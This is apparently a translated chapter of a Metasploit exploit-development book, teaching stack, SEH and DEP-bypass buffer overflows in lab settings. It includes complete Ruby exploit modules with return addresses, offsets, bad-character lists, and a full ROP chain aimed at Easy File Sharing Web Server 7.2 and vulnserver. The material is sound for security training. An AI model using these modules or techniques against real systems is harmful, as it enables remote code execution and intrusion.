让我们再次查看我们用来理解利用的图表，如下所示：

我们完成了前面图表中的第一步。我们的下一个任务是找到 JMP ESP 地址。我们需要 JMP ESP 指令的地址，因为我们的有效载荷将加载到 ESP 寄存器中，我们不能仅仅在覆盖缓冲区后指向有效载荷。因此，我们需要来自外部 DLL 的 JMP ESP 指令的地址，该指令将要求程序跳转到我们有效载荷开头处的 ESP 内容。

要找到跳转地址，我们将需要一个调试器，以便我们可以看到有漏洞的应用程序加载了哪些 DLL 文件。在我看来，最好的选择是 Immunity Debugger。Immunity Debugger 带有大量插件，可以帮助编写利用程序。

使用 Immunity Debugger 查找可执行模块

Immunity Debugger 是一个帮助我们在运行时了解应用程序行为的应用程序。它还可以帮助我们识别缺陷、寄存器的值、反向工程应用程序等。在 Immunity Debugger 中分析应用程序不仅有助于我们更好地理解各种寄存器中包含的值，还会告诉我们有关目标应用程序的各种信息，比如崩溃发生的指令和与可执行文件链接的可执行模块。

可以通过从文件菜单中选择“打开”直接将可执行文件加载到 Immunity Debugger 中。我们也可以通过选择“附加”选项将正在运行的应用程序附加到 Immunity Debugger 中。当我们导航到文件|附加时，它会向我们呈现目标系统上正在运行的进程列表。我们只需要选择适当的进程。然而，这里有一个重要的问题，当一个进程附加到 Immunity Debugger 时，默认情况下，它会处于暂停状态。因此，请确保按下播放按钮，将进程的状态从暂停状态更改为运行状态。让我们看看如何将进程附加到 Immunity Debugger：

按下附加按钮后，让我们看看哪些 DLL 文件加载到有漏洞的应用程序中，方法是导航到“查看”并选择“可执行模块”选项。我们将看到以下 DLL 文件列表：

现在我们已经有了 DLL 文件的列表，我们需要从其中一个文件中找到 JMP ESP 地址。

使用 msfpescan

在前面的部分中，我们找到了与有漏洞的应用程序相关联的 DLL 模块。我们可以使用 Immunity Debugger 来查找 JMP ESP 指令的地址，这是一个冗长而耗时的过程，或者我们可以使用msfpescan从 DLL 文件中搜索 JMP ESP 指令的地址，这是一个更快的过程，消除了手动搜索的步骤。

运行msfpescan给我们以下输出：

诸如msfbinscan和msfrop之类的实用程序可能不会出现在默认的 Kali Linux 中随 Metasploit 一起安装的版本中。切换到 Ubuntu 并手动安装 Metasploit 以获取这些实用程序。

我们可以执行各种任务，比如找到基于 SEH 的缓冲区溢出的 POP-POP-RET 指令地址，显示特定地址处的代码等等，都可以通过msfpescan来完成。我们只需要找到 JMP ESP 指令的地址。我们可以使用-j开关，后面跟着寄存器名称 ESP 来实现这一点。让我们从ws2_32.dll文件开始搜索 JMP ESP 地址：

命令的结果返回了0x71ab9372。这是ws2_32.dll文件中 JMP ESP 指令的地址。我们只需要用这个地址覆盖 EIP 寄存器，以便执行跳转到 ESP 寄存器中的 shellcode。

填充空间

让我们修改利用图并了解我们在利用过程中的确切位置：

我们已经完成了第二步。然而，这里有一个重要的问题，有时 shellcode 的前几个字节可能会被剥离，导致 shellcode 无法执行。在这种情况下，我们应该用前缀 NOP 填充 shellcode，以便 shellcode 的执行可以无缝进行。

假设我们将ABCDEF发送到 ESP，但是当我们使用 Immunity Debugger 进行分析时，我们只得到了DEF的内容。在这种情况下，我们缺少了三个字符。因此，我们需要用三个 NOP 字节或其他随机数据填充有效负载。

让我们看看是否需要为这个有漏洞的应用程序填充 shellcode：

在前面的截图中，我们根据缓冲区大小的值创建了数据。我们知道偏移量是520。因此，我们提供了520，然后是 JMP ESP 地址，以小端格式呈现，随后是随机文本ABCDEF。一旦我们发送了这些数据，我们就可以在 Immunity Debugger 中分析 ESP 寄存器，如下所示：

我们可以看到随机文本ABCDEF中缺少了字母A。因此，我们只需要一个字节的填充来实现对齐。在 shellcode 之前用一些额外的 NOP 进行填充是一个很好的做法，以避免 shellcode 解码和不规则性问题。

NOP 的相关性

NOP 或 NOP-sled 是无操作指令，仅仅将程序执行滑动到下一个内存地址。我们使用 NOP 来到达内存地址中的所需位置。我们通常在 shellcode 开始之前提供 NOP，以确保在内存中成功执行，同时不执行任何操作，只是在内存地址中滑动。十六进制格式中的\x90指令代表 NOP 指令。

确定坏字符

有时，即使为利用正确设置了一切，我们可能永远无法利用系统。或者，可能会发生我们的利用成功执行，但有效载荷无法运行的情况。这可能发生在目标系统对利用中提供的数据进行截断或不正确解析，导致意外行为的情况下。这将使整个利用无法使用，我们将努力将 shell 或 Meterpreter 放入系统中。在这种情况下，我们需要确定阻止执行的坏字符。我们可以通过查找匹配的类似利用模块并在我们的利用模块中使用这些坏字符来避免这种情况。

我们需要在利用的Payload部分定义这些坏字符。让我们看一个例子：

'Payload'        => 
      { 
        'Space'    => 800, 
        'BadChars' => "\x00\x20\x0a\x0d", 
        'StackAdjustment' => -3500, 
      }, 

上述部分摘自/exploit/windows/ftp目录下的freeftpd_user.rb文件。列出的选项表明有效载荷的空间应小于800字节，并且有效载荷应避免使用0x00、0x20、0x0a和0x0d，分别是空字节、空格、换行和回车。

有关查找坏字符的更多信息，请访问：resources.infosecinstitute.com/stack-based-buffer-overflow-in-win-32-platform-part-6-dealing-with-bad-characters-jmp-instruction/。

确定空间限制

Payload 字段中的Space变量定义了用于 shellcode 的总大小。我们需要为Payload分配足够的空间。如果Payload很大，而分配的空间小于有效载荷的 shellcode，它将无法执行。此外，在编写自定义利用时，shellcode 应尽可能小。我们可能会遇到这样的情况，即可用空间仅为 200 字节，但可用 shellcode 至少需要 800 字节的空间。在这种情况下，我们可以将一个较小的第一阶段 shellcode 放入缓冲区中，它将执行并下载第二个更大的阶段以完成利用。

对于各种有效载荷的较小 shellcode，请访问：shell-storm.org/shellcode/。

编写 Metasploit 利用模块

让我们回顾一下我们的利用过程图表，并检查我们是否可以完成模块：

我们可以看到我们拥有开发 Metasploit 模块的所有基本要素。这是因为在 Metasploit 中，有效载荷生成是自动化的，并且也可以随时更改。所以，让我们开始吧：

class MetasploitModule < Msf::Exploit::Remote 
  Rank = NormalRanking 

  include Msf::Exploit::Remote::Tcp 

  def initialize(info = {}) 
    super(update_info(info, 
      'Name'                 => 'Stack Based Buffer Overflow Example', 
      'Description'    => %q{ 
         Stack Based Overflow Example Application Exploitation Module 
      }, 
      'Platform'             => 'win', 
      'Author'         => 
        [ 
          'Nipun Jaswal' 
        ], 
      'Payload' => 
      { 
      'space' => 1000, 
      'BadChars' => "\x00\xff", 
      }, 
      'Targets' => 
       [ 
             ['Windows XP SP2',{ 'Ret' => 0x71AB9372, 'Offset' => 520}] 
       ], 
      'DisclosureDate' => 'Mar 04 2018' 
   )) 
   register_options( 
   [ 
         Opt::RPORT(200) 
   ]) 
  end 

在编写代码之前，让我们看一下我们在这个模块中使用的库：

包含语句	路径	用途
Msf::Exploit::Remote::Tcp	/lib/msf/core/exploit/tcp.rb	TCP 库文件提供基本的 TCP 功能，如连接、断开连接、写入数据等

与我们在第十二章中构建模块的方式相同，重新发明 Metasploit，利用模块首先包括必要的库路径，然后包括来自这些路径的所需文件。我们将模块类型定义为Msf::Exploit::Remote，表示远程利用。接下来，我们有initialize构造方法，在其中定义了名称、描述、作者信息等。然而，我们可以看到initialize方法中有大量新的声明。让我们看看它们是什么：

声明	值	用法
平台	win	定义了利用将要针对的平台类型。win 表示利用将可用于基于 Windows 的操作系统。
披露日期	2018 年 3 月 4 日	漏洞披露的日期。
目标	Ret	特定操作系统的Ret字段定义了我们在前一节中找到的 JMP ESP 地址。
0x71AB9372
目标	Offset	特定操作系统的Offset字段定义了在覆盖 EIP 之前填充缓冲区所需的字节数。我们在前一节中找到了这个值。
520
有效载荷	空间	在有效载荷声明中，空间变量定义了有效载荷可以使用的最大空间量。这相对重要，因为有时我们的空间不足以加载我们的 shellcode。
1000
有效载荷	BadChars	在有效载荷声明中，BadChars变量定义了在有效载荷生成过程中要避免的不良字符。声明不良字符的做法将确保稳定性，并删除可能导致应用程序崩溃或无法执行有效载荷的字节。
\x00\xff

我们还在register_options部分将利用模块的默认端口定义为200。让我们来看看剩下的代码：

def exploit 
    connect 
    buf = make_nops(target['Offset']) 
    buf = buf + [target['Ret']].pack('V') + make_nops(30) + payload.encoded 
    sock.put(buf) 
    handler 
    disconnect 
  end 
end

让我们了解一些在前面的代码中使用的重要函数：

函数	库	用法
make_nops	/lib/msf/core/exploit.rb	此方法用于通过传递n作为计数来创建n个 NOP
连接	/lib/msf/core/exploit/tcp.rb	调用此方法来与目标建立连接
断开连接	/lib/msf/core/exploit/tcp.rb	调用此方法来断开与目标的现有连接
处理程序	/lib/msf/core/exploit.rb	将连接传递给相关的有效载荷处理程序，以检查是否成功利用了漏洞并建立了连接

我们在前一节中看到，run方法被用作辅助模块的默认方法。然而，对于利用，exploit方法被认为是默认的主要方法。

我们首先使用connect连接到目标。使用make_nops函数，我们通过传递我们在initialize部分中定义的target声明的Offset字段，创建了 520 个 NOP。我们将这 520 个 NOP 存储在buf变量中。在下一条指令中，我们通过从target声明的Ret字段中获取其值，将 JMP ESP 地址附加到buf中。使用pack('V')，我们得到了地址的小端格式。除了Ret地址，我们还附加了一些 NOP 作为 shellcode 之前的填充。使用 Metasploit 的一个优点是能够在运行时切换有效载荷。因此，简单地使用payload.encoded附加有效载荷将当前选择的有效载荷添加到buf变量中。

接下来，我们直接使用sock.put将buf的值发送到连接的目标。我们运行处理程序方法来检查目标是否成功被利用，以及是否与其建立了连接。最后，我们使用disconnect从目标断开连接。让我们看看我们是否能够利用服务：

我们设置所需的选项和有效载荷为windows/meterpreter/bind_tcp，表示直接连接到目标。最初，我们可以看到我们的利用完成了，但没有创建会话。在这一点上，我们通过编辑利用代码将坏字符从\x00\xff更改为\x00\x0a\x0d\x20，如下所示：

我们可以使用edit命令直接从 Metasploit 修改模块。默认情况下，文件将在 VI 编辑器中加载。但是，如果你不比我更好，你会坚持使用 nano 编辑器进行更改。一旦我们更改了模块，就必须重新加载到 Metasploit 中。对于我们当前正在使用的模块，我们可以使用reload命令重新加载，如前面的图像所示。重新运行模块，我们轻松地获得了对目标的 Meterpreter 访问。现在我们已经成功完成了第一个利用模块，我们将在下一个示例中跳转到一个稍微更高级的利用模块。

使用 Metasploit 利用基于 SEH 的缓冲区溢出

异常处理程序是捕获程序执行过程中生成的异常和错误的代码模块。这使得程序可以继续执行而不会崩溃。Windows 操作系统具有默认的异常处理程序，通常在应用程序崩溃并抛出一个弹出窗口时看到它们，上面写着XYZ 程序遇到错误并需要关闭。当程序生成异常时，相应的 catch 代码的地址将从堆栈中加载并调用。然而，如果我们设法覆盖处理程序的 catch 代码在堆栈中的地址，我们将能够控制应用程序。让我们看看当应用程序实现异常处理程序时，堆栈中的排列情况：

在上图中，我们可以看到堆栈中 catch 块的地址。我们还可以看到，在右侧，当我们向程序提供足够的输入时，它也会覆盖堆栈中 catch 块的地址。因此，我们可以很容易地通过 Metasploit 中的pattern_create和pattern_offset工具找到覆盖 catch 块地址的偏移值。让我们看一个例子：

我们创建一个4000个字符的模式，并使用TELNET命令将其发送到目标。让我们在 Immunity Debugger 中查看应用程序的堆栈：

我们可以看到应用程序的堆栈窗格中，SE 处理程序的地址被覆盖为45346E45。让我们使用pattern_offset找到确切的偏移量，如下所示：

我们可以看到正确的匹配在3522处。然而，这里需要注意的一个重要点是，根据 SEH 帧的设计，我们有以下组件：

SEH 记录包含前4个字节作为下一个 SEH 处理程序的地址，下一个4个字节作为 catch 块的地址。一个应用程序可能有多个异常处理程序。因此，特定的 SEH 记录将前 4 个字节存储为下一个 SEH 记录的地址。让我们看看如何利用 SEH 记录：

1. 我们将在应用程序中引发异常，以便调用异常处理程序。

2. 我们将使用 POP/POP/RETN 指令的地址来覆盖 catch 处理程序字段的地址。这是因为我们需要将执行切换到下一个 SEH 帧的地址（在 catch 处理程序地址的前 4 个字节）。我们将使用 POP/POP/RET，因为调用 catch 块的内存地址保存在堆栈中，下一个处理程序的指针地址在 ESP+8（ESP 被称为堆栈的顶部）。因此，两个 POP 操作将重定向执行到下一个 SEH 记录的开始的 4 个字节的地址。

3. 在第一步中提供输入时，我们将使用 JMP 指令覆盖下一个 SEH 帧的地址到我们的有效载荷。因此，当第二步完成时，执行将跳转指定字节数到 shellcode。

4. 成功跳转到 shellcode 将执行有效载荷，我们将获得对目标的访问权限。

让我们通过以下图表来理解这些步骤：

在前面的图中，当发生异常时，它调用处理程序的地址（已经被 POP/POP/RET 指令的地址覆盖）。这会导致执行 POP/POP/RET 并将执行重定向到下一个 SEH 记录的地址（已经被短跳转覆盖）。因此，当 JMP 执行时，它指向 shellcode，并且应用程序将其视为另一个 SEH 记录。

构建利用基础

现在我们已经熟悉了基础知识，让我们看看我们需要为 SEH-based 漏洞开发一个工作利用所需的基本要素：

组件	用途
偏移量	在这个模块中，偏移量将指的是足够覆盖 catch 块地址的输入的确切大小。
POP/POP/RET 地址	这是来自 DLL 的 POP-POP-RET 序列的地址。
短跳转指令	为了移动到 shellcode 的开始，我们需要进行指定字节数的短跳转。因此，我们需要一个短跳转指令。

我们已经知道我们需要一个有效载荷，一组要防止的坏字符，空间考虑等等。

计算偏移量

Easy File Sharing Web Server 7.2 应用程序是一个 Web 服务器，在请求处理部分存在漏洞，恶意的 HEAD 请求可以导致缓冲区溢出并覆盖 SEH 链中的地址。

使用 pattern_create 工具

我们将使用pattern_create和pattern_offset工具来找到偏移量，就像我们之前在将有漏洞的应用程序附加到调试器时所做的那样。让我们看看我们如何做到这一点：

我们创建了一个包含10000个字符的模式。现在，让我们将模式提供给端口80上的应用程序，并在 Immunity Debugger 中分析其行为。我们会看到应用程序停止运行。让我们通过导航到菜单栏中的 View 并选择 SEH 链来查看 SEH 链：

点击 SEH 链选项，我们将能够看到被覆盖的 catch 块地址和下一个 SEH 记录地址被我们提供的数据覆盖：

使用 pattern_offset 工具

让我们找到下一个 SEH 帧地址和 catch 块地址的偏移量，如下所示：

我们可以看到包含下一个 SEH 记录的内存地址的 4 个字节从4061字节开始，而 catch 块的偏移量则从这 4 个字节之后开始；也就是从4065开始。

查找 POP/POP/RET 地址

在之前讨论过，我们需要地址到 POP/POP/RET 指令来加载地址到下一个 SEH 帧记录并跳转到有效载荷。我们知道我们需要从外部 DLL 文件加载地址。然而，大多数最新的操作系统都使用 SafeSEH 保护编译他们的 DLL 文件。因此，我们需要从一个没有实现 SafeSEH 机制的 DLL 模块中获取 POP/POP/RET 指令的地址。

示例应用程序在以下HEAD请求上崩溃；即HEAD后面是由pattern_create工具创建的垃圾模式，然后是HTTP/1.0rnrn。

Mona 脚本

Mona 脚本是 Immunity Debugger 的 Python 驱动插件，提供了各种利用选项。该脚本可以从以下网址下载：github.com/corelan/mona/raw/master/mona.py。将脚本放入\Program Files\Immunity Inc\Immunity Debugger\PyCommands目录中即可轻松安装。

现在让我们使用 Mona 并运行!mona modules命令来分析 DLL 文件，如下：

从前面的截图中可以看出，我们只有很少的没有实现 SafeSEH 机制的 DLL 文件。让我们使用这些文件来找到 POP/POP/RET 指令的相关地址。

有关 Mona 脚本的更多信息，请访问：www.corelan.be/index.php/2011/07/14/mona-py-the-manual/。

使用 msfpescan

我们可以使用msfpescan的-s开关轻松找到ImageLoad.dll文件中的 POP/POP/RET 指令序列。让我们使用它。

让我们使用一个安全地址，消除可能导致 HTTP 协议问题的地址，比如连续重复的零，如下：

我们将使用0x10019798作为 POP/POP/RET 地址。现在我们已经有了撰写利用程序的两个关键组件，即偏移量和要加载到 catch 块中的地址，即我们的 POP/POP/RET 指令的地址。我们只需要短跳转的指令，这将被加载到下一个 SEH 记录的地址，这将帮助我们跳转到 shellcode。Metasploit 库将使用内置函数为我们提供短跳转指令。

编写 Metasploit SEH 利用模块

现在我们已经有了利用目标应用程序的所有重要数据，让我们继续在 Metasploit 中创建一个利用模块，如下：

class MetasploitModule < Msf::Exploit::Remote 

  Rank = NormalRanking 

  include Msf::Exploit::Remote::Tcp 
  include Msf::Exploit::Seh 

  def initialize(info = {}) 
    super(update_info(info, 
      'Name'           => 'Easy File Sharing HTTP Server 7.2 SEH Overflow', 
      'Description'    => %q{ 
        This module demonstrate SEH based overflow example 
      }, 
      'Author'         => 'Nipun', 
      'License'        => MSF_LICENSE, 
      'Privileged'     => true, 
      'DefaultOptions' => 
        { 
          'EXITFUNC' => 'thread', 
     'RPORT' => 80, 
        }, 
      'Payload'        => 
        { 
          'Space'    => 390, 
          'BadChars' => "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e", 
        }, 
      'Platform'       => 'win', 
      'Targets'        => 
        [ 
          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798, 'Offset' => 4061 } ], 
        ], 
      'DisclosureDate' => 'Mar 4 2018', 
      'DefaultTarget'  => 0)) 
  end 

在处理各种模块的头部部分后，我们开始包含库文件的所需部分。接下来，我们定义类和模块类型，就像我们在之前的模块中所做的那样。我们通过定义名称、描述、作者信息、许可信息、有效载荷选项、披露日期和默认目标来开始initialize部分。我们在Ret返回地址变量和Offset字段下使用4061作为 POP/POP/RET 指令的地址。我们使用4061而不是4065，因为 Metasploit 将自动生成短跳转指令到 shellcode；因此，我们将从4065字节前开始 4 个字节，以便将短跳转放入载体中，以用于下一个 SEH 记录的地址。

在继续之前，让我们看一下我们将在模块中使用的重要函数。我们已经看到了make_nops、connect、disconnect和handler的用法：

函数	库	用法
generate_seh_record()	/lib/msf/core/exploit/seh.rb	这个库提供了生成 SEH 记录的方法。

让我们继续编写代码，如下：

def exploit 
  connect 
  weapon = "HEAD " 
  weapon << make_nops(target['Offset']) 
  weapon << generate_seh_record(target.ret) 
  weapon << make_nops(19) 
  weapon << payload.encoded 
  weapon << " HTTP/1.0rnrn" 
  sock.put(weapon) 
  handler 
  disconnect 
  end 
end 

exploit函数首先通过连接到目标开始。接下来，它通过在HEAD请求中附加4061个 NOP 生成一个恶意的HEAD请求。接下来，generate_seh_record()函数生成一个8字节的SEH记录，其中前 4 个字节形成了跳转到有效载荷的指令。通常，这 4 个字节包含诸如\xeb\x0A\x90\x90的指令，其中\xeb表示跳转指令，\x0A表示要跳转的12字节，而\x90\x90 NOP指令则作为填充完成了 4 个字节。

使用 NASM shell 编写汇编指令

Metasploit 提供了一个使用 NASM shell 编写短汇编代码的绝佳工具。在上一节中，我们编写了一个小的汇编代码\xeb\x0a，它表示了一个 12 字节的短跳转。然而，在消除了搜索互联网或切换汇编操作码的使用后，我们可以使用 NASM shell 轻松编写汇编代码。

在前面的示例中，我们有一个简单的汇编调用，即JMP SHORT 12。然而，我们不知道与此指令匹配的操作码是什么。因此，让我们使用 NASM shell 来找出，如下所示：

在前面的屏幕截图中，我们可以看到我们从/usr/share/Metasploit-framework/tools/exploit目录中启动了nasm_shell.rb，然后简单地输入了生成相同操作码EB0A的命令，这是我们之前讨论过的。因此，我们可以在所有即将到来的利用示例和实际练习中使用 NASM shell，以减少工作量并节省大量时间。

回到主题，Metasploit 允许我们跳过提供跳转指令和字节数到有效载荷的任务，使用generate_seh_record()函数。接下来，我们只需在有效载荷之前提供一些填充以克服任何不规则性，并跟随有效载荷。最后，我们在头部使用HTTP/1.0\r\n\r\n完成请求。最后，我们将存储在变量 weapon 中的数据发送到目标，并调用处理程序方法来检查尝试是否成功，并且我们获得了对目标的访问权限。

让我们尝试运行模块并分析行为，如下所示：

让我们为模块设置所有必需的选项，并运行exploit命令：

砰！我们成功地利用了目标，这是一个 Windows 7 系统。我们看到了在 Metasploit 中创建 SEH 模块是多么容易。在下一节中，我们将深入研究绕过 DEP 等安全机制的高级模块。

有关 SEH mixin 的更多信息，请参阅github.com/rapid7/metasploit-framework/wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler。

绕过 Metasploit 模块中的 DEP

数据执行防护（DEP）是一种保护机制，它将特定内存区域标记为不可执行，导致在利用时不执行 shellcode。因此，即使我们可以覆盖 EIP 寄存器并将 ESP 指向 shellcode 的起始位置，我们也无法执行我们的有效载荷。这是因为 DEP 防止在内存的可写区域（如堆栈和堆）中执行数据。在这种情况下，我们需要使用可执行区域中的现有指令来实现所需的功能。我们可以通过将所有可执行指令按照一定顺序排列，使得跳转到 shellcode 成为可能。

绕过 DEP 的技术称为返回导向编程（ROP）。ROP 与普通的堆栈溢出不同，普通的堆栈溢出只需要覆盖 EIP 并调用跳转到 shellcode。当 DEP 启用时，我们无法这样做，因为堆栈中的数据是不可执行的。在这里，我们将调用第一个 ROP 小工具，而不是跳转到 shellcode，这些小工具应该被设置成这样的结构，它们形成一个链接结构，其中一个小工具返回到下一个小工具，而不会执行任何来自堆栈的代码。

在接下来的部分中，我们将看到如何找到 ROP 小工具，这些指令可以执行寄存器上的操作，然后返回（RET）指令。找到 ROP 小工具的最佳方法是在加载的模块（DLL）中寻找它们。这些小工具的组合形成了一个链式结构，从堆栈中依次取出一个地址并返回到下一个地址，这些链式结构被称为 ROP 链。

我们有一个易受堆栈溢出攻击的示例应用程序。用于覆盖 EIP 的偏移值为 2006。让我们看看当我们使用 Metasploit 利用这个应用程序时会发生什么：

我们可以看到我们轻松地获得了一个 Meterpreter shell。让我们通过从系统属性中导航到高级系统属性来在 Windows 中启用 DEP，如下所示：

我们通过选择对所有程序和服务启用 DEP，除了我选择的那些，来启用 DEP。让我们重新启动系统，并尝试利用相同的漏洞，如下所示：

我们可以看到我们的利用失败了，因为 shellcode 没有被执行。

您可以从以下网址下载示例应用程序：www.thegreycorner.com/2010/12/introducing-vulnserver.html。

在接下来的部分中，我们将看到如何使用 Metasploit 绕过 DEP 的限制，并访问受保护的系统。让我们保持 DEP 启用，将相同的易受攻击的应用程序附加到调试器，并检查其可执行模块，如下所示：

使用 Mona 脚本，就像我们之前做的那样，我们可以使用!mona modules命令找到所有模块的信息。然而，要构建 ROP 链，我们需要在这些 DLL 文件中找到所有可执行的 ROP 小工具。

使用 msfrop 查找 ROP 小工具

Metasploit 提供了一个非常方便的工具来查找 ROP 小工具：msfrop。它不仅使我们能够列出所有的 ROP 小工具，还允许我们通过这些小工具来寻找我们所需操作的适当小工具。假设我们需要查看所有可以帮助我们执行对ECX寄存器的弹出操作的小工具。我们可以使用msfrop来做到这一点，如下所示：

只要我们为搜索提供了-s开关，并为详细输出提供了-v，我们就开始获得所有使用 POP ECX 指令的小工具的列表。让我们看看结果：

我们可以看到，我们有各种各样的小工具可以轻松执行 POP ECX 任务。然而，要构建一个成功的 Metasploit 模块，可以在 DEP 存在的情况下利用目标应用程序，我们需要开发一系列这些 ROP 小工具，而不执行任何来自堆栈的内容。让我们通过以下图表了解 DEP 的 ROP 绕过：

在左侧，我们有一个标准应用程序的布局。在中间，我们有一个使用缓冲区溢出漏洞受到攻击的应用程序，导致 EIP 寄存器被覆盖。在右侧，我们有 DEP 绕过的机制，我们不是用 JMP ESP 地址覆盖 EIP，而是用 ROP gadget 的地址覆盖它，然后是另一个 ROP gadget，依此类推，直到执行 shellcode。

指令执行如何绕过硬件启用的 DEP 保护？

答案很简单。诀窍在于将这些 ROP gadgets 链接起来调用VirtualProtect()函数，这是一个用于使堆栈可执行的内存保护函数，以便 shellcode 可以执行。让我们看看我们需要执行哪些步骤才能使利用在 DEP 保护下工作：

1. 找到 EIP 寄存器的偏移量

2. 用第一个 ROP gadget 覆盖寄存器

3. 继续用其余的 gadgets 覆盖，直到 shellcode 变得可执行

4. 执行 shellcode

使用 Mona 创建 ROP 链

使用 Immunity Debugger 的 Mona 脚本，我们可以找到 ROP gadgets。然而，它还提供了自己创建整个 ROP 链的功能，如下图所示：

在 Immunity Debugger 的控制台中使用!mona rop -m *.dll -cp nonull命令，我们可以找到关于 ROP gadgets 的所有相关信息。我们可以看到 Mona 脚本生成了以下文件：

有趣的是，我们有一个名为rop_chains.txt的文件，其中包含可以直接在利用模块中使用的整个链。该文件包含了在 Python、C 和 Ruby 中创建的用于 Metasploit 的 ROP 链。我们只需要将 ROP 链复制到我们的利用中，就可以了。

为触发VirtualProtect()函数创建 ROP 链，我们需要以下寄存器的设置：

让我们看一下 Mona 脚本创建的 ROP 链，如下所示：

我们在rop_chains.txt文件中有一个完整的create_rop_chain函数，用于 Metasploit。我们只需要将这个函数复制到我们的利用中。

编写 DEP 绕过的 Metasploit 利用模块

在这一部分，我们将为同一个易受攻击的应用程序编写 DEP 绕过利用，我们在利用栈溢出漏洞时失败了，因为 DEP 已启用。该应用程序在 TCP 端口9999上运行。因此，让我们快速构建一个模块，并尝试在同一应用程序上绕过 DEP：

class MetasploitModule < Msf::Exploit::Remote 
  Rank = NormalRanking 

  include Msf::Exploit::Remote::Tcp 

  def initialize(info = {}) 
    super(update_info(info, 
      'Name'                 => 'DEP Bypass Exploit', 
      'Description'    => %q{ 
         DEP Bypass Using ROP Chains Example Module 
      }, 
      'Platform'             => 'win', 
      'Author'         => 
        [ 
          'Nipun Jaswal' 
        ], 
      'Payload' => 
      { 
      'space' => 312, 
      'BadChars' => "\x00", 
      }, 
      'Targets' => 
       [ 
                  ['Windows 7 Professional',{ 'Offset' => 2006}] 
       ], 
      'DisclosureDate' => 'Mar 4 2018' 
   )) 
   register_options( 
   [ 
         Opt::RPORT(9999) 
   ]) 
  end 

我们已经编写了许多模块，并对所需的库和初始化部分非常熟悉。此外，我们不需要返回地址，因为我们使用的是自动构建机制跳转到 shellcode 的 ROP 链。让我们专注于利用部分：

def create_rop_chain() 

    # rop chain generated with mona.py - www.corelan.be 
    rop_gadgets =  
    [ 
      0x77dfb7e4,  # POP ECX # RETN [RPCRT4.dll]  
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll] 
      0x76a5fd52,  # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]  
      0x766a70d7,  # POP EBP # RETN [USP10.dll]  
      0x625011bb,  # & jmp esp [essfunc.dll] 
      0x777f557c,  # POP EAX # RETN [msvcrt.dll]  
      0xfffffdff,  # Value to negate, will become 0x00000201 
      0x765e4802,  # NEG EAX # RETN [user32.dll]  
      0x76a5f9f1,  # XCHG EAX,EBX # RETN [MSCTF.dll]  
      0x7779f5d4,  # POP EAX # RETN [msvcrt.dll]  
      0xffffffc0,  # Value to negate, will become 0x00000040 
      0x765e4802,  # NEG EAX # RETN [user32.dll]  
      0x76386fc0,  # XCHG EAX,EDX # RETN [kernel32.dll]  
      0x77dfd09c,  # POP ECX # RETN [RPCRT4.dll]  
      0x62504dfc,  # &Writable location [essfunc.dll] 
      0x77e461e1,  # POP EDI # RETN [RPCRT4.dll]  
      0x765e4804,  # RETN (ROP NOP) [user32.dll] 
      0x777f3836,  # POP EAX # RETN [msvcrt.dll]  
      0x90909090,  # nop 
      0x77d43c64,  # PUSHAD # RETN [ntdll.dll]  
    ].flatten.pack("V*") 

    return rop_gadgets 

  end 
  def exploit 
    connect 
    rop_chain = create_rop_chain() 
    junk = rand_text_alpha_upper(target['Offset']) 
    buf = "TRUN ."+junk + rop_chain  + make_nops(16) + payload.encoded+'rn' 
    sock.put(buf) 
    handler 
    disconnect 
  end 
end 

我们可以看到，我们将 Mona 脚本生成的rop_chains.txt文件中的整个create_rop_chain函数复制到了我们的利用中。

我们通过连接到目标开始利用方法。然后，我们调用create_rop_chain函数，并将整个链存储在一个名为rop_chain的变量中。

接下来，我们使用rand_text_alpha_upper函数创建一个包含2006个字符的随机文本，并将其存储在一个名为junk的变量中。该应用程序的漏洞在于执行TRUN命令。因此，我们创建一个名为buf的新变量，并存储TRUN命令，后跟包含2006个随机字符的junk变量，再跟我们的rop_chain。我们还添加了一些填充，最后将 shellcode 添加到buf变量中。

接下来，我们只需将buf变量放到通信通道sock.put方法中。最后，我们只需调用处理程序来检查是否成功利用。

让我们运行这个模块，看看我们是否能够利用系统：

哇！我们轻松地通过了 DEP 保护。现在我们可以对受损目标进行后期利用。

其他保护机制

在本章中，我们基于基于堆栈的漏洞开发了利用程序，在我们的利用过程中，我们绕过了 SEH 和 DEP 保护机制。还有许多其他保护技术，如地址空间布局随机化（ASLR）、堆栈 cookie、SafeSEH、SEHOP 等。我们将在本书的后续部分中看到这些技术的绕过技术。然而，这些技术将需要对汇编、操作码和调试有出色的理解。

参考一篇关于绕过保护机制的优秀教程：www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/。

有关调试的更多信息，请参考：resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/。

总结

在本章中，我们首先介绍了在 Metasploit 中编写利用程序的汇编基础知识，一般概念以及它们在利用中的重要性。我们深入讨论了基于堆栈的溢出、基于 SEH 的堆栈溢出以及绕过 DEP 等保护机制的细节。我们还介绍了 Metasploit 中各种方便的工具，以帮助利用过程。我们还看了坏字符和空间限制的重要性。

现在，我们可以借助支持工具执行诸如在 Metasploit 中编写软件的利用之类的任务，确定必要的寄存器，覆盖它们的方法，并打败复杂的保护机制。

在进行下一章之前，可以尝试完成以下一组练习：

• 尝试在 exploit-db.com 上找到仅适用于 Windows XP 系统的利用程序，并使其在 Windows 7/8/8.1 上可用

• 从exploit-db.com/中至少获取 3 个 POC 利用程序，并将它们转换为完全可用的 Metasploit 利用模块

• 开始向 Metasploit 的 GitHub 存储库做出贡献，并 fork 主要实例

在下一章中，我们将查看目前在 Metasploit 中尚不可用的公开可用的利用程序。我们将尝试将它们移植到 Metasploit 框架中。

第十四章：移植利用

在前一章中，我们讨论了如何在 Metasploit 中编写利用。然而，在已经有公开利用的情况下，我们不需要为特定软件创建利用。公开可用的利用可能是 Perl、Python、C 或其他不同编程语言中的。现在让我们发现一些将利用移植到 Metasploit 框架中的策略。这种机制使我们能够将现有利用转换为与 Metasploit 兼容的利用，从而节省时间并使我们能够随时切换有效载荷。在本章结束时，我们将了解以下主题：

• 从各种编程语言移植利用

• 从独立利用中发现基本要素

• 从现有独立扫描器/工具脚本创建 Metasploit 模块

如果我们能够找出现有利用中哪些基本要素可以在 Metasploit 中使用，那么将脚本移植到 Metasploit 框架中就是一项简单的工作。

